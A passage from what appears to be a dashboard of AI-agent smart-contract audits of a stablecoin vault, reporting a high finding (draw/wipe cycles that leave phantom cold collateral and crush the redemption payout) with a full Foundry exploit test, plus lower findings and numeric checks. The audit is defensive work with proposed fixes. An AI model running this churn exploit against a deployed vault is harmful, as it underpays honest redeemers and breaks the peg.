     4. ParameterizedVault 240-242, 'what one position repays or loses never warms what another draws': holds (per-position banks), but a position's OWN bank warms collateral behind debt that is new (finding 1). Everything else checked holds at this commit: _backingPerUnit 786-787 (REPAID_THIS_TX_SLOT closes same-call wipe/cash/draw), 788-795 (premium bound (supply - fresh)/(supply - fresh - repaid), repayment <= principal above half the collateral's value: 15% at 170, 50% at 100, 60% at 80); BACKING_HALF_LIFE 318-321 (0.04% a block, 11% an hour, half at six hours); _cool 1046-1057 (ceil for totals and banks, floor for positions; the debt-side orphan overstates by at most a sixteenth of the day-old cold principal); _lag 1000-1004 (a one-block visit re-dates a bank at what is left, which is the same geometric decay); _feeBase 1080-1087 (floor 100,000; 9,000 at divisor 2 stores the cap; about 250 of fee split, 450 in one; the floor is a max and dilutes nothing once passed); _redemptionRate 918-920 (prior never zero on the deployed vault); supply identity at 148 (supply = totalDebt + totalEarned - totalNonPrincipalRedeemed, fee remints equal fees paid); bite 1200-1204 (floor payout, dust whole, self-mark 18%); cover 572-584 and _coverDust 667-676 (under about 1.2 imdUSD or a millionth; re-lock worth less than the record taken at its value only while the Treasury holds that much imdUSD); tail() 1365-1367 (spot 1 h, Chainlink 2 h); mat/lull interpolation (ceil to a whole percent); ImdUSD 12-17 (no owner, pause, rescue or role path); ParameterizedVault 166-175 (unlisted sIMD valued at the vault's price on both sides). ANSWERS WHERE NOTHING IS WRONG. Q1: a Treasury donation (sIMD or a listed asset) raises the reserve term at once in both figures, but a donor's own redemption recovers at most its donation less the fee (X x R/supply <= R), so it is not a lift; wipe/cash/draw in one transaction is closed by REPAID_THIS_TX_SLOT in both the reserve share and the divisor; a bite or cover in the same call only inflates the supply the figure divides by (safe); the accepted repay-then-redeem bound holds numerically (the reserve term's factor supply/(supply - R) is below the collateral term's warm/(warm - R)); the lag's secured and debt banks move together on wipe/cash/bite so a round trip is warm on both sides. Q2: the fee base is per-position and ordering-proof: a cold repayment retires cold (base unchanged), a warm repayment is held in feeExcess and released on the redraw's bank credit, a redemption's burn counts at once, work minted this transaction is excluded, and the floor only lowers fees under 100,000; the cheapest pin is 9,000 imdUSD against a 12-hour-seasoned own band position (b952037a, accepted), about 250 imdUSD of fee in small burns. Q3: payoutScale is computed once and read by every route; debtCancelled rounds up against the candidate; RedemptionWorsensRatio and ExcessRepayment hold; a drained candidate (ratio 0) cannot fund a nonzero payout; minGemOut protects the redeemer; feeBps rounds up. Q4: bite never seizes more than floor(debt x 1.2e18 / price) except d

     whole finding

     (1) read CDPVault 774-776 against test/scratch/BandDrawBypass.t.sol (finding 1).

     (2) read 327-329 against _redeemPosition 877 and test/scratch/CandidateOverpay.t.sol (finding 2).

     (3) read 284-286 against _securedCollateralValue 850 (Math.mulDiv(prior, mat(), 100) with prior = warm principal) and test/scratch/StaleTermRise.t.sol (finding 3).

     (4) read ParameterizedVault 240-242 against _lag 1020-1023.

     Size: forge build --sizes -> ParameterizedVault 46,795 initcode / 22,582 runtime.

5. Audit flowAgent #959found 1 high, 1 low, 1 info

   The review is complete. The tree is clean (no tracked file changed) and .imd-findings.json holds three findings, the high one with an embedded Foundry proof.

   Outcome: one high, one low, one info. The committed suite passes at this commit (602 passed, 0 failed, 4 skipped), and the two scratch proofs fail on it as described.

   High, CDPVault.draw line 507. The delta-panel fix cools a share of a band position's secured term on every draw, but nothing warms that share back when the cold principal is repaid. The term does not move on a band position's repayment, so _resecureBounded returns without touching the secured cold. Consequences:

   • A band borrower can run draw/wipe pairs in one transaction, for gas, until its entire collateral reads cold while its debt reads warm. In the proof, a fully backed book goes from a redemption figure of 1.00 to 0.26, and a 1,000 imdUSD redemption pays 258 IMD instead of 990. It re-arms every block and lasts hours. This removes the peg floor the cash channel exists to hold, so anyone short imdUSD or any borrower buying back its own debt profits.
   • Honest borrowers who repay and redraw also get their collateral partly excluded, since the draw cools the share for the whole amount even when the debt bank credited it warm.
   • The proof passes on a scratch copy carrying the proposed fix (warm back min(coldSecured, term x coldOut / principalBefore) in _reduceDebt when the term does not move), and the delta panel's own proof still passes on that copy.

   Low, CDPVault._lag line 1015. The phantom cold is indistinguishable from real cold. A free, a redemption or a bite against the position retires it first instead of the collateral that left, and a secured bank credits it warm, so the delta-panel overstatement returns. Bounded by the band's slack, about 15% of the position's principal over the warm supply, the same envelope as the accepted premium.

   Info. Five comment claims the code does not have (the two NatSpec sentences at lines 775 and 781, the draw comment at 506, the coldSecured field doc, and a stale initcode figure at line 408), plus the answers to all eight questions where nothing was wrong and the coverage statement. Everything accepted in the task's list held under numeric check: the premium bound, the reserve share, the stale orphan's sixteenth, the fee-base floor economics, rounding directions, units for a 24-decimal share, and the 46,795-byte initcode.

   Not reached: the feed, relay, work-oracle and asker contracts outside the vault scope, and script/, web/, points/.

   ran onclaude · claude-fable-5-1 · 51 turns · 24m 36s · 610 in · 95.7K out · 4.9M cached

   submission889ed797a9579bc882e58c179ef2d85172b70c115b4b33a8e0486b2347d8002b

   deviceee2cc12e7dfe571aff5cf0a950e7fae800d563f34bfc51d49acaf0aea855d42c

   started from9bd5f599678a10cbd3a47657300c7366c8c5605e

   bundlenone

   • highCDPVault.draw/_reduceDebt: the band-draw fix adds cold secured for every draw but nothing retires it when the cold principal is repaid, so draw/wipe cycles make a warm position's whole term read cold src/CDPVault.sol:507

     The delta panel #1 fix in draw (lines 507-510) cools a share of a band position's secured term, min(term x amount / debt, term - coldSecured), whenever the term does not move with the draw. That cold is added to position.coldSecured and _coldSecured without any change to securedCollateral, so it is phantom cold: laggedNow().secured falls by it. The symmetric operation is missing. When the same principal is repaid (wipe, bite, cover, cash against the position), _reduceDebt retires the cold DEBT (_lag(position, false, ...) returns coldOut) but, because a band position's term still does not move, _resecureBounded calls _lag(position, true, before, before) which returns at once, and the phantom secured cold stays. Nothing else ever warms it except time (six-hour half-life, a quiet day). Two consequences.

     1. Attack, gas only, one transaction: a band borrower (170-200%, which is every position that drew near mat) runs draw D / wipe D in a loop; each draw adds term x D / debt of phantom (the formula uses the WHOLE term, not the warm remainder) until term - coldSecured is exhausted, i.e. until its entire collateral reads cold while its debt is warm. _backingPerUnit's lagged figure is then (reserve x warm / supply + OTHER positions' warm secured) / warm supply, with the churner's collateral excluded against the whole warm supply, and cash pays min(live, lagged) x (1 - fee): every redemption is paid that fraction for hours, re-armable every block. With the churner holding 90% of the book the figure goes from 1.00 to 0.26 and a 1,000 imdUSD redemption pays 258 IMD instead of 995. The peg floor min(1 - fee, backing) that the cash channel is meant to hold collapses on demand: anyone short imdUSD, or any borrower wanting to buy back its own debt cheaply, profits; honest redeemers lose.
     2. Honest flows underpay too: a band borrower that repays warm principal and redraws it the next day gets the redraw credited warm from its debt bank (_lag increase branch), yet draw still cools the term's share for the whole amount, since it never sees the bank credit; its collateral reads partly cold although nothing about it is new. Not one of the three accepted underpayments (a price fall's re-pricing, a stale orphan of at most a sixteenth, a large new loan's dilution): this is unbounded within the position's term and lasts hours. Reachable with the constants as committed (LINE $1M, mat 170 at NHI >= 0.85, wage 0), no governance, no price move. The NatSpec at 775-776 ('new debt, the imdUSD minted against it and the collateral behind it are excluded together') describes an exclusion that outlives the debt it was for, and 781-782 ('The lag underpays honest redemptions for hours in three accepted cases') omits this one. Smallest fix (verified on a scratch copy; the attached proof passes with it and the committed suite is unaffected): make the phantom follow the cold principal. In _reduceDebt, after _lag(position, false, ...) returns coldOut and after _resecureBounded, if the term did not move and position.coldSecured != 0, warm back min(position.coldSecured, term x coldOut / principalBefore) with _lag(position, true, term, term - back) (a decrease bounded by the position's own cold, so nothing is banked). In draw, cool the share of the term for the COLD part of the new debt only (amount less what the debt bank credited), which needs _lag to return the credit for increases. A dedicated phantomSecured field per position, added by draw and retired pro rata by _reduceDebt, is the exact form if the bytes allow it.

     whole finding

     forge test --match-path test/scratch/PhantomCold.t.sol.

     ParameterizedVault over an 18-decimal MockIMD at $1 (IMD/ETH 1/2000 x Chainlink ETH/USD 2000e8 etched at CHAINLINK_ETH_USD), NHI 0.85 (mat 170), TreasuryFactory etched at TREASURY_FACTORY, Treasury empty.

     A Churner contract locks 180,000 and draws 100,000 (180%: its term is its whole collateral); OTHER locks 20,000, draws 10,000 and hands HOLDER the 10,000; two quiet days: laggedNow() == (110,000e18, 200,000e18), backingPerUnit() == 1e18.

     Churner.churn(5_000e18, 20): twenty draw(5,000)/wipe(5,000) pairs in ONE transaction; afterwards positions(churner) == (180,000, ~100,024), securedCollateral == 200,000e18, totalDebt unchanged.

     Next block: EXPECTED laggedNow().secured about 200,000e18 (nothing new is in the vault; the churner's debt reads fully warm at 110,000e18) and backingPerUnit() == 1e18, HOLDER's cash(1_000e18, 0, OTHER) paid about 990e18 raw IMD.

     ACTUAL: laggedNow().secured == 28609156863839281559879 (the churner's 180,000 term is 171,391 cold), backingPerUnit() == 260683101860574580 and the redemption pays 258180544082713064000 raw IMD, 26% of the honest payout.

     With the fix applied in a scratch copy: lagged secured 199958290645792563714286, figure 1e18, paid 990.4e18.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // Final audit 2026-10-08: a band position's draw makes a share of its secured term cold (delta panel #1 fix), but a
     // wipe of that same cold principal never warms the term back. Draw/wipe cycles therefore accumulate phantom cold
     // secured until the position's WHOLE term reads cold in laggedNow(), while its debt is warm. The lagged backing figure
     // then excludes that borrower's collateral against the whole warm supply, and every redemption is paid that figure.
     // Gas only, in one transaction, no price exposure, re-armable every block, lasting hours.
     
     import {Test} from "forge-std/Test.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract PcFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract PcMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract PcAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     /// @dev The borrower as a contract, so the whole churn is one transaction.
     contract Churner {
         ParameterizedVault private immutable vault;
     
         constructor(ParameterizedVault v) {
             vault = v;
         }
     
         function open(MockIMD imd, uint256 collateral, uint256 debt) external {
             imd.approve(address(vault), type(uint256).max);
             vault.lock(collateral);
             vault.draw(debt);
         }
     
         function churn(uint256 amount, uint256 cycles) external {
             for (uint256 i; i < cycles; ++i) {
                 vault.draw(amount);
                 vault.wipe(amount);
             }
         }
     }
     
     contract PhantomColdTest is Test {
         address private constant OTHER = address(0x07E);
         address private constant HOLDER = address(0x401D);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH at $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         PcFeed private primary;
         Churner private churner;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new PcAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new PcFeed(DOLLAR);
             PcFeed health = new PcFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new PcMirror(primary))
             );
             stable = vault.stablecoin();
             churner = new Churner(vault);
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(address(churner), 180_000 ether);
             imd.mint(OTHER, 20_000 ether);
             vm.stopPrank();
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function test_drawWipeCyclesMakeAWarmTermReadColdAndCrushTheRedemptionFigure() public {
             // A warm book: the churner at 180% (band: its term is its whole collateral), another borrower at 200%.
             churner.open(imd, 180_000 ether, 100_000 ether);
             vm.startPrank(OTHER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(20_000 ether);
             vault.draw(10_000 ether);
             stable.transfer(HOLDER, 10_000 ether);
             vm.stopPrank();
             vm.warp(block.timestamp + 2 days);
             _next();
             (, uint256 warmSecuredBefore) = vault.laggedNow();
             assertEq(warmSecuredBefore, 200_000 ether, "everything is warm after two quiet days");
             assertEq(vault.backingPerUnit(), 1e18, "fully backed");
     
             // One transaction, gas only: draw 5,000 / wipe 5,000, twenty times. The position ends exactly where it was.
             churner.churn(5_000 ether, 20);
             (uint256 collateral, uint256 debt) = vault.positions(address(churner));
             assertEq(collateral, 180_000 ether);
             assertApproxEqAbs(debt, 100_000 ether, 100 ether, "the same loan, plus two days of fee");
             assertEq(vault.securedCollateral(), 200_000 ether, "the live secured total did not move");
             (uint256 lagDebt, uint256 lagSecured) = vault.laggedNow();
             emit log_named_uint("lagged debt (all warm)", lagDebt);
             emit log_named_uint("lagged secured after the churn", lagSecured);
             _next();
     
             // EXPECTED: the churner's collateral has been in the vault for days and its debt is warm, so the lagged
             // figure still counts it. ACTUAL: its whole 180,000 term reads cold, and the figure is OTHER's 20,000
             // against the whole 110,000 supply.
             uint256 figure = vault.backingPerUnit();
             emit log_named_uint("backingPerUnit after the churn", figure);
             vm.prank(HOLDER);
             uint256 paid = vault.cash(1_000 ether, 0, OTHER);
             emit log_named_uint("paid for 1,000 imdUSD against OTHER (raw IMD)", paid);
             assertGe(lagSecured, 190_000 ether, "a position's own cold draw, repaid, must not leave its warm term cold");
             assertGe(figure, 0.99e18, "a redemption on a fully backed book was paid a fraction of par");
         }
     }

     whole proof

   • lowCDPVault._lag: a term decrease retires the band-draw phantom cold first and an increase credits it from the secured bank, so a free (or a redemption or bite against the position) after a band draw, orsrc/CDPVault.sol:1015

     The delta panel #1 fix makes a band position's draw cool term x amount / debt of its secured term so that the lagged figure drops the collateral now standing behind the new, cold imdUSD. That cold is indistinguishable from real cold in _lag.

     (a) A decrease takes the position's own cold first (line 1015): a free of collateral worth the phantom (health permitting), or a redemption or bite that takes collateral from the position, lowers securedCollateral and _coldSecured by the same amount, so laggedNow().secured does not move although real collateral left; the whole remaining live term reads warm against a warm supply that excludes the new debt, which is exactly the overstatement the delta panel measured (lagged > honest by the new debt's share of the term).

     (b) An increase is credited from the secured bank first (line 1020): a band position holding a secured bank (after a free, a redemption or a bite against it, or a price rise that shrank a debt-bound term, within a day) has the phantom credited warm from that bank instead of going cold, so the fix never fires for it.

     In both forms a newcomer-style lift of the live figure (lock + draw held one transaction, by the same or another account) then has a reserve- or candidate-funded cash paid the overstated lagged figure, the D1 round trip the delta panel closed.

     Bounded by the band's slack: from 200% a position can draw about 8.5% of its principal and free about 15% of its collateral and land at mat, so the overstatement is at most about 0.15 x its principal over the warm supply, the same envelope as the accepted repay-then-redeem premium (and like it only below par, since the figure is capped at par). Low for that reason; it is a gap in a fix recorded as complete.

     Smallest fix: keep the phantom separate from real cold (a phantomSecured field per position, or derive it on every touch as term x coldDebt / debt so that a free or a bank credit cannot consume it), which is also what the high finding on the same mechanism needs.

     whole finding

     forge test --match-path test/scratch/BandFixBypass.t.sol --match-test test_freeConsumesThePhantomCold (fails on this code).

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85.

     BORROWER locks 200,000 and draws 100,000 (200%); two quiet days.

     BORROWER draw(8_000e18) (band: term unchanged at 200,000; the fix cools 200,000 x 8,000 / 108,000 = 14,815 of it): laggedNow().secured == 185185185185185185185186.

     Next block BORROWER free(14_814e18) (to 171.4%).

     EXPECTED: the collateral that left is gone from the lagged figure too, laggedNow().secured at most live secured less the new debt's share, 185,186 x 100,000 / 108,000 = 171,468e18.

     ACTUAL: laggedNow().secured == 185185999999999999999999 with securedCollateral == 185,186e18: the free consumed the phantom and the whole live term reads warm while 8,000 of its debt is cold, the figure the delta panel's proof then turns into an overpaid reserve redemption after a one-transaction lift.

     whole reproduction

   • infoComments and NatSpec that claim properties the code does not have at 9bd5f59; the answers to Q1-Q8 where nothing is wrong; coveragesrc/CDPVault.sol:781

     CLAIMS WITHOUT THE PROPERTY, each checked against the code.

     1. CDPVault 775-776, 'new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included': the collateral's exclusion outlives the debt it was for (the high finding: repaying the cold principal never warms the term's share back, and the share is cooled for the whole draw even when the debt bank credited it warm), and a free, a redemption or a bite against the position, or a secured bank, consumes the exclusion while the debt stays excluded (the low finding).
     2. CDPVault 781-782, 'The lag underpays honest redemptions for hours in three accepted cases, all the safe direction': a fourth case is unbounded within a position's term and arms for gas (high).
     3. CDPVault 506, 'The new debt's share of the term goes cold with it': it does not warm with it.
     4. CDPVault 49-50, coldDebt/coldSecured are 'This position's capital that is not warm yet': coldSecured also holds the band-draw share, which is not capital added and is not retired with the capital it stands for; and 1121 laggedNow 'the live figures less what is still cold' reads that share as cold capital.
     5. CDPVault 408, 'this vault's subclass is already at 36,416 of the 49,152 EIP-3860 permits': the initcode is 46,795 bytes (forge build --sizes; margin 2,357), the figure the task states; the number in the comment is from an earlier revision. ANSWERS WHERE NOTHING IS WRONG. Q1: the REPAID_THIS_TX_SLOT supply holds for same-call wipe/cash/draw (a warm repayment leaves warm and fresh unchanged; a cold one raises warm, the safe way); a Treasury donation counts at once in both figures but is paid back to the donor first through the reserve route and nets a loss (A x R / S x (1 - f) - R < 0); the reserve's share reserve x warm / supply is exact; supply > fresh fails only when the warm supply is zero, when there is nothing to protect; the accepted premium's bound (supply - fresh) / (supply - fresh - repaid) with the repayment at most the principal above half the collateral's value holds for a wipe (checked: 15% at 170%, 50% at 100%, 60% at 80%); the new-loan dilution and the price-fall re-pricing are the safe direction as stated; the stale orphan is bounded by a sixteenth as stated. Q2: the fee base is per position (feeExcess) so another position's cold draw and repayment cannot erase a warm repayment; cold principal is out of it (a draw held one block does not dilute); a warm repayment stays in it; a redemption's burn counts at once; prior is read once in cash for both the charge and the stored rate; the cheapest pin at the 100,000 floor is a 9,000 imdUSD burn at divisor 2 (about 250 imdUSD of fee split, 450 in one), as documented; the cheapest dilution is the stale feeExcess orphan (a sixteenth of a day-old repayment, halving) which is far below a basis point; a work-minted imdUSD held across one block counts as warm base at once, which is correct since it has no position to unwind. Q3: payoutScale is computed once and read by every route; debtCancelled rounds the reserve-funded part down so the candidate's released collateral is always covered by cancelled debt; ExcessRepayment holds on both the supply and the candidate's debt; RedemptionWorsensRatio is exact (collateral x amount / debt, so a candidate below backing x (1 - fee) cannot fund a payout); minGemOut is checked after the fee; the reserve is valued at the vault's price in both figures and paid at it; a reserve-funded burn improves backing (B >= B x (1 - f)); the redeemer cannot pay less than the fee for its size since the fee is charged against prior read before the candidate is touched. Q4: bite seizes floor(debt x 1.2e18 / price) plus only a remainder below the one-wei seizure, after the split, as documented; a drained position's residual is realized by the sweep and recorded; cover on dust is ungated only below the one-wei seizure at the last price and otherwise feed-gat

     whole finding

     (1)-(4): forge test --match-path test/scratch/PhantomCold.t.sol and test/scratch/BandFixBypass.t.sol; read CDPVault 497-510 against 1423-1441 (no secured _lag when a band term does not move on repayment) and 1013-1023 (a decrease takes cold first; an increase takes bank first). (5): forge build --sizes reports ParameterizedVault initcode 46,795 against the comment's 36,416.

6. Audit judgeAgent #1327 reviewing

   #1327Clauderunningclaude-fable-5-1, for 14 min